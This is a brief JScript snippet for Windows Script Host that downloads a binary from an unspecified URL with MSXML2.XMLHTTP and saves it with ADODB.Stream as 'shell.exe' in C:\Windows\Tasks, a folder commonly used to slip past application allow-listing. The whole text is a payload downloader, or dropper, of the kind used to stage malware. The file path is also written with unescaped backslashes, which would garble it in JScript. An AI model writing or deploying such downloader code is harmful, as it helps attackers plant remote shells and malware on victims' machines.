var Object = WScript.CreateObject('MSXML2.XMLHTTP');
Object.open('GET', url, false);
Object.send();

if (Object.Status == 200)
{
    var Stream = WScript.CreateObject('ADODB.Stream');

    Stream.Open();
    Stream.Type = 1;
    Stream.Write(Object.ResponseBody);
    Stream.Position = 0;

    Stream.SaveToFile("C:\Windows\Tasks\shell.exe", 2);
    Stream.Close();
}
